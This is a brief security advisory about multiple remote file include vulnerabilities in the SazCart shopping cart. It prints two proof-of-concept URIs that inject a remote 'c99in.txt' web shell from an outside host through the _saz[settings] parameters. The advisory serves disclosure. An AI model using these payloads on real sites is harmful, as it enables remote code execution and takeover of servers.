|
SazCart '_saz[settings]' Multiple Remote File Include Vulnerabilities
An attacker can exploit these issues via a browser. The following proof-of-concept URIs are available: http://www.example.com/SazCart/layouts/default/header.saz.php?_saz[settings][site_dir]=http://www.example2.com/shells/c99in.txt? http://www.example.com/SazCart/admin/alayouts/default/pages/login.php?_saz[settings][site_url]=http://www.example2.com/shells/c99in.txt? |
|
|
Privacy Statement |
